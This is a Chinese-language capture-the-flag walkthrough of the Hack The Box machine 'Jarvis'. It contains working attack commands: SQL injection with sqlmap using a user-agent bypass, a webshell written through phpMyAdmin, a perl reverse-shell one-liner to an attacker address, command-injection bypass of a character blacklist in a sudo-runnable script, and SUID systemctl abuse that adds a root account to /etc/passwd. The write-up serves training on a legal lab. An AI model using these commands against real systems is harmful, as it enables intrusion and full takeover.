Hack the box-Jarvis

大家好,今天給大家帶來的CTF挑戰靶機是來自hackthebox的「Jarvis」,hackthebox是一個非常不錯的在線實驗平台,能幫助你提升滲透測試技能和黑盒測試技能,平台上有很多靶機,從易到難,各個級別的靶機都有。本級靶機難度為困難級別,任務是找到靶機上的user.txt和root.txt。

資訊枚舉

利用masscan探測開放埠

找到了22,80,64999埠

Nmap探測22,80,64999的服務資訊

漏洞利用

首先我們從80埠的web下手

用wfuzz掃描web80埠,從中我們得知站點使用phpmyadmin,但是版本比較新,我們需要帳號密碼才能進去寫shell

當我們輸入/room.php?cod=1』

站點明顯出現了異常,我們得知cod參數存在sql注入

使用sqlmap 獲取帳號密碼,web檢查了用戶代理,如果我們直接跑sql注入會被ban,我們用--user-agent繞過過濾器,並且使用--password獲取帳號密碼

sqlmap -u http://10.10.10.143/room?cod=1 --user-agent "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0」 --password

我們已經把帳號密碼注出來

DBadmin--imissyou

進入phpmyadmin,寫入webshell

#select 「<?php system($_GET[『cmd』]); ?>」 into outfile 「/var/www/html/n00b.php」

低許可權shell

我們使用perl反連shell

#perl -e 'use Socket;$i="10.10.x.x";$p=xxxx;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

使用TTY獲取一個終端,具體詳情如下:

https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

詳細TTY操作如下:

root@localhost:~/pang# nc -lvp 4444

listening on [any] 4444 ...

10.10.10.143: inverse host lookup failed: Unknown host

connect to [10.10.15.237] from (UNKNOWN) [10.10.10.143] 35342

/bin/sh: 0: can't access tty; job control turned off

$ python -c 'import pty;pty.spawn("/bin/bash")'

www-data@jarvis:/var/www/html$ ^Z

[1]+ 已停止 nc -lvp 4444

root@localhost:~/pang# stty raw -echo

root@localhost:~/pang# nc -lvp 4444

reset

reset: unknown terminal type unknown

Terminal type? bash

www-data@jarvis:/var/www/html$ export SHELL=bash

www-data@jarvis:/var/www/html$ export TERM=xterm-256color

www-data@jarvis:/var/www/html$ export rows 54 columns 206

連上後,我們嘗試查看user.txt

我們沒有許可權獲取user.txt

當我們嘗試sudo -l,我們得知我們可以使用simple.py提權到jarvis

Simple.py源程式碼如下;

#!/usr/bin/env python3

from datetime import datetime

import sys

import os

from os import listdir

import re

def show_statistics():

path = '/home/pepper/Web/Logs/'

print('Statisticsn-----------')

listed_files = listdir(path)

count = len(listed_files)

print('Number of Attackers: ' + str(count))

level_1 = 0

dat = datetime(1, 1, 1)

ip_list = []

reks = []

ip = ''

req = ''

rek = ''

for i in listed_files:

f = open(path + i, 'r')

lines = f.readlines()

level2, rek = get_max_level(lines)

fecha, requ = date_to_num(lines)

ip = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]

if fecha > dat:

dat = fecha

req = requ

ip2 = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]

if int(level2) > int(level_1):

level_1 = level2

ip_list = [ip]

reks=[rek]

elif int(level2) == int(level_1):

ip_list.append(ip)

reks.append(rek)

f.close()

print('Most Risky:')

if len(ip_list) > 1:

print('More than 1 ip found')

cont = 0

for i in ip_list:

print(' ' + i + ' - Attack Level : ' + level_1 + ' Request: ' + reks[cont])

cont = cont + 1

print('Most Recent: ' + ip2 + ' --> ' + str(dat) + ' ' + req)

def list_ip():

print('Attackersn-----------')

path = '/home/pepper/Web/Logs/'

listed_files = listdir(path)

for i in listed_files:

f = open(path + i,'r')

lines = f.readlines()

level,req = get_max_level(lines)

print(i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] + ' - Attack Level : ' + level)

f.close()

def date_to_num(lines):

dat = datetime(1,1,1)

ip = ''

req=''

for i in lines:

if 'Level' in i:

fecha=(i.split(' ')[6] + ' ' + i.split(' ')[7]).split('n')[0]

regex = '(d+)-(.*)-(d+)(.*)'

logEx=re.match(regex, fecha).groups()

mes = to_dict(logEx[1])

fecha = logEx[0] + '-' + mes + '-' + logEx[2] + ' ' + logEx[3]

fecha = datetime.strptime(fecha, '%Y-%m-%d %H:%M:%S')

if fecha > dat:

dat = fecha

req = i.split(' ')[8] + ' ' + i.split(' ')[9] + ' ' + i.split(' ')[10]

return dat, req

def to_dict(name):

month_dict = {'Jan':'01','Feb':'02','Mar':'03','Apr':'04', 'May':'05', 'Jun':'06','Jul':'07','Aug':'08','Sep':'09','Oct':'10','Nov':'11','Dec':'12'}

return month_dict[name]

def get_max_level(lines):

level=0

for j in lines:

if 'Level' in j:

if int(j.split(' ')[4]) > int(level):

level = j.split(' ')[4]

req=j.split(' ')[8] + ' ' + j.split(' ')[9] + ' ' + j.split(' ')[10]

return level, req

def exec_ping():

forbidden = ['&', ';', '-', '`', '||', '|']

command = input('Enter an IP: ')

for i in forbidden:

if i in command:

print('Got you')

exit()

os.system('ping ' + command)

if __name__ == '__main__':

show_header()

if len(sys.argv) != 2:

show_help()

exit()

if sys.argv[1] == '-h' or sys.argv[1] == '--help':

show_help()

exit()

elif sys.argv[1] == '-s':

show_statistics()

exit()

elif sys.argv[1] == '-l':

list_ip()

exit()

elif sys.argv[1] == '-p':

exec_ping()

exit()

else:

show_help()

exit()

從源程式碼中我們可以看出exec_ping()函數中,程式檢查了(& ; - ` || |)

程式沒有檢查$,我們可以構造$(bash)

因此,如果我們執行ping -c 1 $(echo 127.0.0.1),echo 127.0.0.1將會被先執行,然後再執行ping命令

可是我們無法得到回顯,我們使用繼續使用perl反向連接獲取shell

得到user.txt

許可權提升

檢查suid文件,我們得知系統運行了systemctl

systemctl可以控制systemd系統和服務管理器的狀態

https://gtfobins.github.io/gtfobins/systemctl/

在以上鏈接我們得知當systemctl的suid為1會被濫用,我們可以構造一個root.service去跑我們的sh文件

使用perl生成我們帶有鹽值的密碼

#perl -le 'print crypt("password@123","addedsalt")'

把偽造帳號的腳本寫到/dev/shm/root.sh中

#echo 「rooot:advwtv/9yU5yQ:0:0:root:/root:/bin/bash" >> /etc/passwd』

使root.sh添加執行許可權

#chmod +x /dev/shm/root.sh

把自定義的root.service跑起來

#systemctl enable /dev/shm/rooot.service

#systemctl start /dev/shm/rooot.service

當我們檢查/etc/passwd後發現,我們構造的用戶和密碼寫入到了/etc/passwd中

su rooot後查看id發現我們是root許可權

獲得root.txt

部分參考自文章:https://hackso.me/jarvis-htb-walkthrough/

手握日月摘星辰,安全路上永不止步。

- Khan攻防安全實驗室

Tags: